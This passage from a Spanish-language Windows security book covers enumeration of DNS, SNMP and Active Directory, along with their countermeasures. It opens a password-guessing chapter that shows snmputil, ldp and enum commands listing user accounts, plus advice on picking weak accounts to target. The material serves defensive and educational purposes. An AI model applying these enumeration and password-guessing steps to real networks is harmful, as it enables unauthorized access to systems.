sulta rechazada” como respuesta). En la figura 4-6 se muestra la opción Propiedades de una
zona de búsqueda hacia delante (en este caso, labfarce.org) seleccionado desde el interior de la
consola de administración de DNS (dnsmgmt.msc) en Windows Server 2003, que muestra los
valores predeterminados que restringen las transferencias de zona. ¡Felicitaciones para Micro-
soft por deshabilitar la transferencia de zona como opción predeterminada en Windows Server
2003 y posteriores!
Aunque recomendamos la configuración mostrada en la figura 4-6, es probablemente más realista

NOTA suponer que se necesitarán servidores DNS de copia de seguridad para mantenerse actualizado
sobre los cambios de archivos de zona, de modo que notaremos que también es correcto permitir
las transferencias de zona a servidores autorizados.
Figura 4-6 La configuración predeterminada de DNS de Windows Server 2003 deshabilita las
transferencias de zona (¡bravo por la seguridad predeterminada!)
04_SCAMBRAY_04.indd 102 7/28/08 8:51:12 PM

Sugerencia
Aunque no funcionará contra la implementación de DNS de Windows, el siguiente comando
determinará la versión de un servidor que ejecuta BIND DNS: nslookup –q=txt –class
=CHAOS version.bind.
ENUMERACIÓN DE SNMP
Una de nuestras anécdotas favoritas de pruebas por correspondencia se relaciona con un admi-
nistrador de sistemas testarudo en un sitio cliente (de destino) que insistió en que no podía res-
quebrajarse la seguridad de los sistemas Windows NT 4. “He bloqueado SMB, y no hay manera
de que usted pueda enumerar nombres de cuenta de usuario en mis sistemas de Windows. ¡Eso
lo dejará frío!”.
Era seguro que se había bloqueado el acceso a TCP 139 y 445, o que se había deshabilitado el
servicio SMB. Sin embargo, un rastreo inicial de puertos mostró que algo igual de jugoso estaba
disponible: el servicio del agente del protocolo simple de administración de red (SNMP, Simple
Network Management Protocol), UDP 161. SNMP no está instalado como opción predetermina-
da en Windows, pero se agrega fácilmente mediante Agregar o quitar programas en Windows
2000 y posteriores. Muchas organizaciones administran sus redes con SNMP, de modo que es
común encontrarlo.
En Windows 2000 y anteriores, la instalación predeterminada de SNMP usaba “public”
como cadena de comunidad DE LECTURA (la cadena de comunidad es el equivalente simple de
una contraseña de servicio). Peor aún, la información que puede extraerse del agente SNMP
de Windows es tan dañina como todo lo que hemos analizado hasta ahora en este capítulo. Vaya,
cómo se molestó este administrador de sistemas. Siga leyendo para ver lo que le hicimos a sus
máquinas (para asegurarse de que no comete el mismo error que él).
Los siguientes ataques no funcionan en Windows XP y posteriores de manera predefinida gracias a

NOTA
los cambios de la configuración predeterminada. A menos que se indique de otra manera, las
siguientes descripciones se aplican a Windows 2000 y anteriores.
Enumeración de SNMP con snmputil

Popularidad: 8
Simplicidad: 7
Impacto: 5
Si se ha establecido una cadena de comunidad de lectura que sea fácil de adivinar en el sis-
tema de la víctima, la enumeración de cuentas de Windows vía SNMP es como comerse un pas-
tel empleando la herramienta snmputil del kit de recursos. En el siguiente ejemplo se muestra
snmputil leyendo la base de información de administración (MIB, Management Information
Base) del administrador de LAN, desde una máquina remota de Windows 2000, empleando la
cadena de comunidad de lectura de uso común “public”.
C:\>snmputil walk 192.168.202.33 public .1.3.6.1.4.1.77.1.2.25

Variable = .iso.org.dod.internet.private.enterprises.lanmanager.
lanmgr-2.server.svUserTable.svUserEntry.svUserName.5.
71.117.101.115.116
04_SCAMBRAY_04.indd 103 7/28/08 8:51:13 PM

Value = OCTET STRING - Guest
Variable = .iso.org.dod.internet.private.enterprises.lanmanager.
lanmgr-2.server. svUserTable.svUserEntry.svUserName.13.
65.100.109.105.110.105.115.116.114.97.116.111.114
Value = OCTET STRING - Administrator
End of MIB subtree.
La última variable en la sintaxis anterior de snmputil, .1.3.6.1.4.1.77.1.2.25, es el

identificador de objetos (OID, Object IDentifier), que indica una rama específica de la MIB empre-
sarial de Microsoft, como se definió en SNMP. La MIB es un espacio de nombres jerárquico, de
modo que al recorrer hacia arriba el árbol (es decir, al usar un número menos específico, como
.1.3.6.1.4.1.77), se volcarán mayores cantidades de información. Recordar todos estos números
es pesado, de modo que un intruso utilizará el equivalente de cadena de texto. En la tabla 4-6 se
presenta una lista de algunos segmentos del MIB que arrojarán la información más jugosa.
Enumeración de SNMP con las herramientas de SolarWinds

Popularidad: 8
Simplicidad: 7
Impacto: 5
Por supuesto, para no tener que escribir todo esto, sólo podría descargar el excelente explo-
rador SNMP gráfico llamado IP Network Browser, una de las muchas estupendas herramientas
incluidas en el Professional Plus Toolset de SolarWind (consulte “Referencias y lecturas adicio-
nales”, para encontrar el vínculo). La suite Professional Plus tiene un costo, pero vale la pena por
las numerosas herramientas incluidas en el paquete.
IP Network Browser permite a un atacante ver toda esta información desplegada a todo co-
lor. En la figura 4-7 se muestra a este programa examinando una máquina que ejecuta el agente
SNMP de Windows 2000 con una cadena de comunidad de lectura predeterminada de public.
MIB de SNMP (adjunte esto a .iso.org.dod.internet. Información enumerada

private.enterprises.lanmanager.lanmgr2)
.server.svSvcTable.svSvcEntry.svSvcName Servicios en ejecución
.server.svShareTable.svShareEntry.svShareName Nombres de recursos
compartidos
.server.svShareTable.svShareEntry.svSharePath Rutas de recursos compartidos
.server.svShareTable.svShareEntry.svShareComment Comentarios sobre recursos
compartidos
.server.svUserTable.svUserEntry.svUserName Nombres de usuarios
.domain.domPrimaryDomain Nombre de dominio
Tabla 4-6 OID de la MIB de SNMP de Microsoft Enterprise que pueden usarse para enumerar
información confidencial
04_SCAMBRAY_04.indd 104 7/28/08 8:51:14 PM

Figura 4-7 IP Network Browser de SolarWinds expande la información disponible en sistemas que
ejecutan el agente SNMP de Windows cuando se proporciona con la cadena de comunidad correcta. La
cadena de comunidad mostrada aquí es la predeterminada de Windows 2000, “public”.
Las cosas empeoran aún más si identifica una cadena de comunidad de escritura vía IP Net-
work Browser. Empleando la herramienta Update System MIB del Professional Plus Toolset de
SolarWinds, puede escribir valores en el MIB del sistema si proporciona la cadena apropiada
de escritura, incluidos nombre del sistema, ubicación e información de contacto.
Contramedidas ante la enumeración de SNMP

La manera más simple de evitar la actividad de enumeración consiste en eliminar el agente de
SNMP o en deshabilitar el servicio SNMP en la applet Servicios del Panel de control (services.
msc). En Vista y posteriores, el servicio es conocido como Trampa de SNMP y sólo puede reen-
viar a aplicaciones SNMP locales, de modo que no hay parámetros de seguridad que configu-
rar.
Si deshabilitar SNMP no es una opción, por lo menos debe asegurarse de que esté configu-
rado apropiadamente con nombres de comunidad únicos (no el “public” predeterminado que se
usa en Windows 2000), de modo que sólo responda a direcciones IP específicas. Ésta es una con-
figuración típica en entornos que usan una sola estación de trabajo de administración para
reunir todos los dispositivos para datos de SNMP. Para especificar estas configuraciones, abra la
04_SCAMBRAY_04.indd 105 7/28/08 8:51:15 PM

de Servicios del Panel de control, seleccione Propiedades del servicio SNMP, haga clic en la ficha
Seguridad y cambie los siguientes valores:
Nombres de comunidad aceptados Especifique cadenas de comunidad únicas, difíciles

de adivinar (no predeterminadas)
Aceptar paquetes SNMP de estos hosts Especifique la dirección IP de sus estaciones de tra-
bajo de administración de SNMP
En la figura 4-8 se muestra esta configuración en el agente SNMP predeterminado de Win-
dows Server 2003. Nos sentimos contentos de informar que la configuración predeterminada
especifica que no hay cadenas de comunidad ni restricciones de acceso al agente de SNMP pa-
ra el host local solo (otro brillante ejemplo del mantra “Seguro como opción predeterminada” de
la iniciativa Computación Confiable de Microsoft). Por supuesto, casi todos los administradores
tendrán que hacer cambios a esos valores para que el servicio SNMP sea útil, pero por lo menos
está bloqueado de manera predefinida.
Por supuesto, si está utilizando SNMP para administrar su red, asegúrese de que bloquea el
acceso a los puertos TCP y UDP 161 (SNMP GET/SET) en todos los dispositivos de acceso de red
perimetrales. No debe permitirse que la información de SNMP interna se filtre a redes públicas.
Figura 4-8 La configuración predeterminada del agente SNMP de Windows Server 2003 determina
que no son válidas las cadenas de comunidad y bloquea el acceso sólo a localhost
04_SCAMBRAY_04.indd 106 7/28/08 8:51:15 PM

En el caso de administradores más avanzados, también puede configurar el servicio SNMP

de Windows Server 2003 para permitir sólo el acceso aprobado al nombre de comunidad de
SNMP y evitar que se envíe información de cuenta de Windows. Para esto, abra regedt32 y va-
ya a HKLM\System\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities. Eli-
ja Seguridad | Permisos y luego establézcalos para permitir sólo acceso de usuario aprobado. A
continuación, vaya a HKLM\System\CurrentControlSet\Services\SNMP\Parameters\Exten-
sionAgents, elimine el valor que contiene la cadena “LANManagerMIB2Agent”, y luego cambie
el nombre de las entradas para actualizar la secuencia. Por ejemplo, si el valor eliminado fue 1,
entonces cambie el nombre de 2, 3, etc., hasta que la secuencia empiece con 1 y termine con el
número total de valores en la lista.
ENUMERACIÓN DE ACTIVE DIRECTORY

El cambio más fundamental introducido por Windows 2000 fue la adición de un servicio de di-
rectorio basado en el protocolo ligero de acceso a directorios (LDAP, Lightweight Directory Ac-
cess Protocol) que Microsoft llama Active Directory (AD). AD está diseñado para contener una
representación unificada, lógica de todos los objetos relevantes para la infraestructura de tecno-
logía corporativa y, por tanto, desde una perspectiva de enumeración. Es, posiblemente, una
fuente principal de fuga de información. En las implementaciones de AD de Windows Server
2003 y Server 2008 son idénticos en gran medida a su predecesor y, por tanto, pueden accesarse
mediante herramientas de consulta de LDAP, como se muestra en el siguiente ejemplo.
Enumeración de Active Directory con ldp

Popularidad: 2
Simplicidad: 2
Impacto: 5
Las herramientas de soporte de Windows (disponibles en la carpeta Support\Tools del CD

de instalación de Server) incluyen un cliente LDAP simple llamado ldp.exe que se conecta con
el servidor AD y explora el contenido del directorio.
Mientras se analizaba la seguridad de candidatos a la versión de Windows 2000 durante el
verano de 1999, los autores de este libro encontraron que con sólo señalar ldp en un controlador
de dominio de Windows 2000, podían enumerarse todos los usuarios y grupos existentes con una
simple consulta LDAP. La única tarea que se necesita para realizar esta enumeración es crear
una sesión autentificada vía LDAP. Si un atacante ya ha comprometido una cuenta existente en
el destino por otra vía, LDAP puede proporcionar un mecanismo alterno para enumerar usua-
rios si los puertos SMB están bloqueados o no están disponibles por otra razón.
Ilustramos la enumeración de usuarios y grupos empleando ldp en el siguiente ejemplo, que
toma como destino el controlador de dominio de Windows caesars.vegas.nv, cuyo contexto raíz
de AD es DC=vegas,DC=nv. Suponemos que ya hemos comprometido la cuenta Guest en cae-
sars (tiene una contraseña de guest).
1. Conéctese al destino usando ldp. Elija Connection | Connect e ingrese la dirección IP
o el nombre DNS del servidor de destino. Esto crea una conexión no autentificada
04_SCAMBRAY_04.indd 107 7/28/08 8:51:16 PM

con el directorio. Puede conectarse al puerto 389, que es el predeterminado de LDAP, o

use el puerto 3268 del catálogo global de AD o las versiones UDP de cualquiera de estos
servicios (“sin conexión”). El puerto TCP 398 se muestra en la siguiente ilustración.
2. La conexión nula revela cierta información acerca del directorio, pero puede
autentificarse como su usuario Guest comprometido y obtener aún más. Esto se hace al
elegir Connections | Bind, asegurándose de que la casilla de verificación Domain esté
seleccionada con el nombre de dominio apropiado, e ingresando las credenciales de
Guest, como se muestra a continuación.
3. Debe ver que la salida dice “Authenticated as dn:’guest’”. Ahora que se ha establecido
una sesión autentificada de LDAP, puede enumerar realmente Usuarios y grupos. Elija
View | Tree e ingrese el contexto raíz en el siguiente cuadro de diálogo. (Por ejemplo,
aquí se muestra DC=vegas,DC=nv).
4. Aparece un nodo en el panel de la izquierda; haga clic en el símbolo de más para

desplegarlos con el fin de que revele los objetos de base bajo la raíz del directorio.
5. Por último, haga doble clic en los contenedores CN=Users y CN=Builtin. Se
desplegarán para enumerar todos los usuarios y todos los grupos integrados en el
servidor, respectivamente. El contenedor Users se despliega en la figura 4-9.
04_SCAMBRAY_04.indd 108 7/28/08 8:51:17 PM

Figura 4-9 Ldp.exe enumera usuarios y grupos mediante una conexión autentificada
¿Cómo es esto posible con una simple conexión de usuario? Ciertos servicios heredados de
NT 4, como el servicio de acceso remoto (RAS, Remote Access Service) y SQL Server deben tener
la capacidad de consultar objetos de usuario y grupo dentro de AD. La instalación de rutina de
AD (dcpromo) pregunta si el usuario quiere relajar los permisos de acceso al directorio para per-
mitir que los servidores heredados realicen estas búsquedas. Si se seleccionan permisos relaja-
dos en la instalación, los objetos de usuario y grupo estarán accesibles para enumeración vía
LDAP. Observe que la instalación predeterminada relajará los permisos sobre AD.
Contramedidas ante la enumeración de Active Directory

En primer lugar, y antes que nada, filtre el acceso a los puertos TCP 389 y 3268 en el extremo de
la red. A menos que planee exportar Active Directory al mundo, nadie debe tener acceso auten-
tificado al directorio.
Para evitar que esta información se fugue a partes no autorizadas en redes internas semicon-
fiables, necesitarán restringirse los permisos en AD. La diferencia entre modo compatible here-
dado (léase: “menos seguro”) y Windows nativo se reduce, en esencia, a la membresía al grupo
local integrado Acceso compatible con versiones anteriores de Windows 2000. Este grupo tiene
el permiso de acceso predeterminado al directorio mostrado en la tabla 4-7.
El Asistente para instalación de Active Directory agrega automáticamente Todos y la identi-
dad ANONYMOUS LOGON al grupo Acceso compatible con versiones anteriores de Windows
2000 y selecciona Compatible con versiones anteriores de Windows durante el uso de dcpromo.
04_SCAMBRAY_04.indd 109 7/28/08 8:51:18 PM

Objeto Permiso
Contraseña de dominio y directivas de búsqueda Leer
Otros parámetros de dominio Leer
Directorio raíz (y todos los secundarios) Listar contenido
Objetos de usuario Listar contenido, Leer Todas las
propiedades, Permisos de lectura
Objetos de grupo Listar contenido, Leer Todas las
Objetos de InetOrgPerson Listar contenido, Leer Todas las
Tabla 4-7 Permisos en objetos de Active Directory relacionados con el grupo Acceso compatible con
versiones anteriores de Windows 2000
Estas identidades especiales incluyen sesiones autentificadas con cualquiera, incluidas sesiones
nulas (consulte el capítulo 2). Al eliminar los grupos Todos y ANONYMOUS LOGON de Acce-
so compatible con versiones anteriores de Windows 2000 (y luego reiniciar los controladores
de dominio), el dominio opera con la mayor seguridad. Si por alguna razón necesita de nuevo
reducir hacia abajo la seguridad, estos grupos pueden volverse a agregar al ejecutar el siguiente
comando en el indicador de comandos:
net localgroup “Acceso compatible con versiones anteriores de Windows
2000” Todos /add
net localgroup “Acceso compatible con versiones anteriores de Windows
2000” “ANONYMOUS LOGON” /add
El control de acceso dictado por la membresía en el grupo Acceso compatible con versiones
anteriores de Windows 2000 también se aplica a consultas que se ejecutan a través de sesio-
nes nulas de NetBIOS contra un controlador de dominio. Para ilustrar este punto, considere los
dos usos de la herramienta enum (descrita antes) en el siguiente ejemplo. La primera vez se eje-
cuta contra un Servidor avanzado de Windows 2000 con Todos y ANONYMOUS LOGON como
un miembro del grupo Acceso compatible con versiones anteriores de Windows 2000:
C:\>enum -U caesars
server: caesars
getting user list (pass 1, index 0)... success, got 8.
Administrator backadmin Guest guest2 IUSR_CAESARS IWAM_CAESARS
krbtgt SUPPORT_388945a0
cleaning up... success.
Ahora eliminamos Todos y ANONYMOUS LOGON del grupo Acceso compatible con ver-
siones anteriores de Windows 2000, reinicie y ejecute de nuevo la misma consulta enum:
C:\>enum -U caesars
server: caesars
04_SCAMBRAY_04.indd 110 7/28/08 8:51:18 PM

getting user list (pass 1, index 0)... fail

return 5, Access is denied.
cleaning up... success.
Considere seriamente la actualización de RAS, el servicio de enrutamiento y acceso remoto (RRAS,

NOTA
Routing and Remote Access Service) y SQL Server en su organización al mínimo en Windows 2000
antes de la migración a AD para que pueda bloquearse la exploración casual de información de
cuentas.
HERRAMIENTAS DE ENUMERACIÓN TODO EN UNO

Hemos analizado un amplio rango de herramientas y técnicas de enumeración. ¿No sería agra-
dable que toda esta funcionalidad se incluyera en una herramienta, de modo que los adminis-
tradores de red tengan un único lugar para encontrar sistemas con fugas en sus redes?
Por fortuna, esa herramienta existe en Winfingerprint, que puede realizar casi todas las téc-
nicas de enumeración mostradas en este capítulo, incluidos NetBIOS, SMB, MSRPC, SNMP y
Figura 4-10 Winfingerprint enumera un controlador de dominio de Windows Server 2008 Enterprise
04_SCAMBRAY_04.indd 111 7/28/08 8:51:20 PM

Active Directory. Winfingerprint se muestra en la figura 4-10 enumerando un controlador de

dominio de Windows Server 2008 Enterprise (una vez más, recuerde que los controladores
de dominio de Server 2003 aún son vulnerables a estas técnicas, aunque los sistemas de miem-
bros de dominio/no dominio unido de XP SP2 los bloquean como opción predeterminada).
RESUMEN
Con el uso de la información presentada en este capítulo, ahora un atacante puede activar la pe-
netración de sistemas de Windows, como analizamos a continuación en el capítulo 5. He aquí un
breve resumen de las contramedidas presentadas en este capítulo que restringirán el acceso a
esta información por parte de hackers maliciosos.
• Restrinja el acceso a la red a todos los servicios analizados en este capítulo empleando
firewalls de red y de host (como el Firewall de Windows). Deshabilite estos servicios si
no se están usando. Si los habilita, configúrelos con el fin de evitar el descubrimiento
de información confidencial del sistema para partes no autorizadas, de acuerdo con el
siguiente consejo.
• Proteja el servicio SMB (TCP/UDP 139 y 445). Deshabilítelo, si es posible, al dejar
de permitir Compartir impresoras y archivos para redes Microsoft, como se analizó
en este capítulo. Si habilita SMB, use la Directiva de seguridad para evitar acceso
anónimo. La configuración predeterminada de Windows es suficiente, pero esté
consciente de que los parámetros del controlador de dominio predeterminado están
relajados y permiten la enumeración de cuentas. Puede eliminar estas configuraciones
para todos los equipos del dominio empleando la Directiva de grupo.
• Debe bloquearse el acceso al servicio de nombres de NetBIOS (NBNS, UDP 137) en la
gateway de la red (reconozca que el bloqueo de UDP 137 interferirá con los servicios
de asignación de nombres de Windows).
• Deshabilite los servicios Alerta y Messenger en hosts conscientes de NetBIOS. Esto
evita que la información de cuenta de usuario aparezca en volcados de tabla de
nombres de NetBIOS. Esta configuración puede propagarse a través de un dominio
empleando la Directiva de grupo. Estos servicios están deshabilitados como opción
predeterminada en Windows Server 2003 y posteriores.
• Configure servidores de Windows DNS para restringir transferencias de zona a
hosts explícitamente definidos, o deshabilítelas por completo. Las transferencias de
zona están deshabilitadas como opción predeterminada en Windows Server 2003 y
posteriores.
• Si habilita el Servicio SNMP opcional, restrinja el acceso a las máquinas de consola
de administración SNMP y especifique cadenas de comandos no predeterminadas,
difíciles de adivinar. El Servicio SNMP de Windows Server 2003 restringe el acceso al
host local y especifica cadenas de comunidad no válidas como opción predeterminada.
SNMP ya no se implementó en Vista o posteriores.
• Restrinja lo más posible el acceso a los servicios específicos de AD, TCP/UDP 389
y 3268. Use firewalls de red, el Firewall de Windows, filtros IPSec o cualquier otro
mecanismo disponible.
• Elimine la identidad Todos del grupo Acceso compatible con versiones anteriores de
Windows 2000 en los controladores de dominio de Windows, si es aplicable. Se trata de
04_SCAMBRAY_04.indd 112 7/28/08 8:51:20 PM

un modo de compatibilidad hacia atrás para permitir que los servicios RAS y
SQL de NT accedan a objetos de usuario en el directorio. Si no necesita esta
compatibilidad heredada, deshabilítela. Planee su migración a Active Directory para
que los servidores RAS y SQL se actualicen primero, y no necesitará ejecutar el modo
de compatibilidad con versiones anteriores.

Referencias Ubicación
Boletines relevantes de Microsoft, artículos
de la base de conocimientos y correcciones
Q224196, “Restringir tráfico de replicación de http://support.microsoft.com/
Active Directory y tráfico de cliente RPC a un ?kbid=224196
puerto específico” cubre la asignación estática
de extremos de RPC
Q143474, “Restringir información disponible a http://support.microsoft.com/

usuarios con inicio de sesión anónimo” cubre ?kbid=143474
la clave de Registro RestrictAnonymous
Q246261, “Cómo utilizar el valor del Registro http://support.microsoft.com/
RestrictAnonymous en Windows 2000” ?kbid=246261
Q240855, “Utilizar servidores de Windows NT http://support.microsoft.com/

4.0 en un dominio de Windows 2000”, cubre el ?kbid=240855
grupo Acceso compatible con versiones
anteriores de Windows 2000
Herramientas freeware
nbtscan por Alla Bezroutchko winhackingexposed/tools.html
epdump www.security-solutions.net/download/
index.html
rpcdump, parte de las herramientas RPCTools www.bindview.com/services/razor/
por Todd Sabin utilities/
Winfo por Arne Vidstrom www.ntsecurity.nu
nbtdump por David Litchfield winhackingexposed/tools.html
DumpSec por SomarSoft www.somarsoft.com
enum http://razor.bindview.com
nete winhackingexposed.com/tools.html
sid2user/user2sid por Evgenii Rudnyi evgenii.rudnyi.ru/soft/sid/
UserInfo y UserDump de Thor winhackingexposed.com/tools.html
GetAcct por Urity www.securityfriday.com
04_SCAMBRAY_04.indd 113 7/28/08 8:51:21 PM

walksam, parte de las RCPTools de Tood Sabin razor.bindview.com
Winfingerprint http://winfingerprint.sourceforge.net
Herramientas comerciales
SolarWinds, Professional Plus Edition Toolset www.solarwinds.net
“CIFS: Common Insecurities Fail Scrutiny”, web.textfiles/hacking/cifs.txt
por Hobbit, la referencia técnica original del
hacker de SMB
RFC 1001 y 1002, que describen NetBIOS a www.rfc-editor.org
través de especificaciones de transporte TCP/
UDP
RFC para SNMP www.rfc-editor.org
04_SCAMBRAY_04.indd 114 7/28/08 8:51:21 PM

capítulo 5
C K E O
HA S
R V I C I O
DE S E
Í F I C O S
E S P E C
D O W S
DE W I N
115
05_SCAMBRAY_05.indd 115 7/28/08 8:55:37 PM

H
asta ahora en nuestros ataques en Windows, hemos identificado destinos, ejecutado
servicios y nos hemos conectado a ciertos servicios para enumerar datos del sistema. El
siguiente paso consiste en tratar de irrumpir usando varios métodos.
Como se analizó en el capítulo 2, el objetivo principal de la penetración remota del sistema
consiste en autentificarse en el host remoto para obtener acceso a recursos en él. Podemos hacer
esto, por ejemplo, de las siguientes maneras:
• Adivinar combinaciones de nombre de usuario/contraseña

• Espiar o subvertir el proceso de autentificación
• Explotar un servicio o cliente de red vulnerable
• Obtener acceso físico al sistema
En este capítulo se analizarán los tres primeros puntos de la lista, los ataques físicos se trata-
rán en el capítulo 11.
SQL Server se analizará por separado, en el capítulo 9.

Nota
Como vimos en el capítulo 2, la esencia del sistema de autentificación de Windows incluye

los protocolos administrador de LAN (LM, Lan Manager) y administrador de LAN de Windows
NT (NTLM, NT LAN Manager), incluida la versión 2 de NTLM. Estos protocolos se diseñaron
principalmente para un entorno interno protegido. Con Windows 2000, Microsoft adoptó el pro-
tocolo estándar ampliamente usado Kerberos versión 5 como opción a LM y NTLM, con lo que
ensanchó de manera efectiva el alcance de su paradigma de autentificación, y también en parte
para hacer frente a las críticas constantes a las debilidades de seguridad en la suite LM/NTLM
de propietario. Todos estos protocolos están disponibles como opción predeterminada en Win-
dows (Kerberos se utiliza en nuestros días para autentificación en controladores de dominio y
acceso a recursos de red), pero poco ha cambiado para eliminar las debilidades en LM/NTLM,
principalmente para mantener compatibilidad hacia atrás.
Por fortuna, con Windows Vista, Microsoft usa NTLMv2 como esquema predeterminado de
autentificación, siguiendo el cambio inicial en Windows 2003 deshabilitando LM como opción
predeterminada. Todos estos protocolos se usan de manera más o menos transparente en los
clientes modernos de Windows, de modo que los detalles del funcionamiento suelen ser irre-
levantes a ataques, como adivinación de contraseñas, en casi todos los casos. Más aún, como
veremos en este capítulo, Microsoft ha replicado vulnerabilidades conocidas de seguridad en
el estándar Kerberos v5, que también es propenso a ataques de adivinación de contraseñas. Este
capítulo está dividido en las siguientes secciones:
• Adivinación de contraseñas
• Espionaje sobre autentificación
• Subversión de la autentificación mediante ataques de servidor falso o de intermediario
(MITM, Man In The Middle)
• Ataque a vulnerabilidades en servicios de Windows
05_SCAMBRAY_05.indd 116 7/28/08 8:55:39 PM

Capítulo 5: Hackeo de servicios específicos de Windows 117
ADIVINACIÓN DE CONTRASEÑAS
Aunque suena muy poco glamoroso, la adivinación de contraseñas es probablemente uno de los
métodos más efectivos para ganar acceso a redes de Windows y *nix más grandes. En esta sec-
ción se analiza este método poco elegante pero muy efectivo a la penetración de sistemas de
Windows.
La adivinación de contraseñas puede realizarse contra todos los servicios que soportan au-
tentificación integrada de Windows, incluidos (pero no limitados a) servicios como Internet In-
formation Services (IIS), llamada a procedimiento remoto (RPC, Remote Procedure Call) y
servidores FTP. En este capítulo, nos concentraremos en adivinación de contraseñas sobre el pro-
tocolo bloque de mensajes de servidor (SMB, Server Message Block), pero sólo puede realizarse
contra cualquier servicio para el que tenemos un cliente que permite proporcionar un nombre
de usuario y una contraseña. Por encima de eso, cuando se gana acceso con algunas credenciales
mediante algún protocolo, por lo general vale la pena tratar las mismas credenciales mediante
otros servicios, porque la gente tiende a reciclar sus contraseñas. Esto se debe principalmente a
requisitos tediosos para la solidez de la contraseña y a la dificultad de tener que recordar contra-
señas complejas. Por ejemplo, si un extraño se las arregla para irrumpir en un servicio FTP con
algunas credenciales de usuario, podría usar las mismas credenciales para irrumpir en otro ser-
vicio, como autentificación de Windows.
Como es natural, la adivinación de contraseñas depende de la complejidad de la contraseña;
si el usuario está usando frases de pase, la dificultad para adivinar la contraseña crece de mane-
ra lineal. Por fortuna para los atacantes, y debido a las demandas complejas usuales para las
contraseñas, los usuarios tienden a reciclar contraseñas en diferentes sistemas.
Antes de que analicemos las diversas herramientas y técnicas usadas para adivinación de
contraseñas, revisemos algunos puntos sobresalientes:
• Cierre para el destino de sesiones SMB existentes

• Revisión de la salida de enumeración
• Anulación del bloqueo de cuentas
• La importancia de cuentas administrativas y privilegiadas
Cierre para el destino de sesiones SMB existentes

Antes de empezar con la adivinación de contraseñas contra sistemas que se han enumerado, es
necesaria un poco de limpieza. Debido a que Windows no soporta el inicio de sesión con varias
credenciales al mismo tiempo en el mismo espacio de nombres, debe cerrar cualquier sesión
existente en el destino al usar el comando net use /delete /y (o /d, para abreviar; el inte-
rruptor /y fuerza el cierre de las conexiones sin preguntar).
C:\>net use * /d /y
Tiene estas conexiones remotas:
\\victima.com\ipc$
Si continúa, se cancelarán las conexiones.
05_SCAMBRAY_05.indd 117 7/28/08 8:55:39 PM

Y, por supuesto, si tiene sesiones abiertas en varias máquinas, puede cerrar conexiones específi-
cas al anotarlas de manera específica en la solicitud. Aquí cerramos una sesión con el equipo \\
victima:
C:\>net use \\victima\ipc$ /d /y
El comando net soporta varios proveedores de red (por ejemplo, Novell NetWare y otros). Cuando se
Nota
hace referencia al comando net en este libro, nos referimos a las conexiones SMB y Windows. Las
direcciones IP también se consideran un espacio de nombres aparte.
Revisión de resultados de enumeración

La eficiencia de la adivinación de contraseñas aumenta en gran medida con la información reuni-
da utilizando las técnicas de enumeración analizadas en el capítulo 4. Suponiendo que los nom-
bres y las características de la cuenta de usuario pueden obtenerse mediante estas técnicas, deben
revisarse con un ojo en la identificación de la siguiente información extraída mediante sesiones
nulas con herramientas como enum, nete, userdump/userinfo y DumpSec (consulte el capítulo
4). Esta información puede utilizarse en ataques manuales de adivinación de contraseñas, o pue-
de combinarse libremente con listas de nombres de usuarios y diccionarios de contraseñas admi-
nistrados por herramientas automatizadas de adivinación de contraseñas.
Comparación entre cuentas locales y de dominio Para cada cuenta enumerada, es una buena prác-
tica revisar cuáles son las cuentas de dominio y cuáles sólo son para uso local. La membresía
también puede verse en las membresías de grupo. Las cuentas de dominio pueden proporcionar
puntos de avanzada de un sistema a otro (la obtención de acceso al sistema de un equipo puede
proporcionar acceso sólo a ese equipo, pero el uso de esa cuenta para el proceso de dispersión
con usuarios con inicio de sesión en el dominio permite a un intruso tomar control de todo el
dominio o bosque, dependiendo de la cuenta).
Comparación entre cuentas de laboratorio y de prueba ¿Cuántas cuentas de laboratorio o de prueba

existen en su entorno? ¿Cuántas de esas cuentas se encuentran en el grupo Administradores lo-
cales? ¿Ha tenido cuidado de adivinar cuáles podrían ser las contraseñas de esas cuentas? Po-
drían ser prueba o test, o, en sistemas sin imposición de directiva de contraseña, incluso podría
ser NULL. Para empeorar las cosas, estas cuentas (aún las de administradores) pueden establecer
contraseñas que nunca expiran. No es poco común encontrar sistemas con contraseñas estable-
cidas meses o hasta años antes (dentro de esos entornos, hasta la fuerza bruta puede resultar
valiosa para descubrir las contraseñas más sólidas).
Cuentas de usuario con información jugosa en el campo Comentarios En la realidad, hemos visto con-
traseñas escritas en el campo Comentarios en texto simple, listas para obtenerse mediante la enu-
meración. En ocasiones pueden encontrarse pistas para las contraseñas en el campo Comentarios
para ayudar a los desafortunados usuarios que no pueden recordar sus propias contraseñas.
Grupos Administradores o Administradores de dominio Estas cuentas a menudo son los objetivos
debido a que tienen gran capacidad sobre sistemas locales de dominios. Además, las cuentas
Administradores locales no puede bloquearse usando las herramientas predeterminadas de
Microsoft, y se vuelven blancos maduros para la adivinación perpetua de contraseñas. Es nece-
sario cambiar el nombre de la cuenta, o deshabilitarla en versiones posteriores de Microsoft
Windows.
05_SCAMBRAY_05.indd 118 7/28/08 8:55:40 PM

Las cuentas de administradores locales también podrían usar la misma contraseña para va-
rios sistemas, sobre todo si éstos se han instalado a partir de una imagen dorada (que sería la
misma para todos). Esto da la ventaja al atacante que puede usar la misma cuenta local para
comprometer todas las cuentas de la red.
Cuentas privilegiadas de servicio de aplicación de copia de seguridad Muchas aplicaciones de soft-

ware de copias de seguridad comerciales crean cuentas de usuario que tienen otorgado un ele-
vado grado de privilegios en un sistema, o que por lo menos pueden leer casi todos los archivos
para proporcionar una copia de seguridad completa del sistema. Algunos nombres de cuenta
comunes se muestran en la tabla 5-1, un poco más adelante en el capítulo.
Cuentas compartidas de grupo Las organizaciones grandes y pequeñas tienen propensión a reci-
clar credenciales de cuenta que otorgan acceso a un alto porcentaje de los sistemas en un entorno
determinado. Nombres de cuenta como backup o admin son ejemplos.
Las cuentas de usuario no han cambiado contraseñas recientemente Esto suele ser una señal de prác-
ticas poco efectivas de mantenimiento de cuentas por parte del usuario y el administrador del
sistema, lo que indica una marca a la que es fácil acceder. Estas cuentas también pueden usar
contraseñas predeterminadas especificadas en el momento de la creación de cuentas y que se
adivinan con facilidad. Por ejemplo, está muy extendido el uso del nombre de la organización,
el nombre del usuario o bienvenido para este valor inicial de la contraseña.
Las cuentas de usuario no han iniciado sesión recientemente Una vez más, las cuentas que se usan
con poca frecuencia son señales de prácticas negligentes, como vigilancia escasa de la solidez
de contraseñas vigilada con poca frecuencia, o falta de aplicación en las tareas de administra-
ción de cuentas.
Evite bloqueos de cuentas

Los hackers y los probadores autorizados de penetraciones por igual querrán evitar el bloqueo
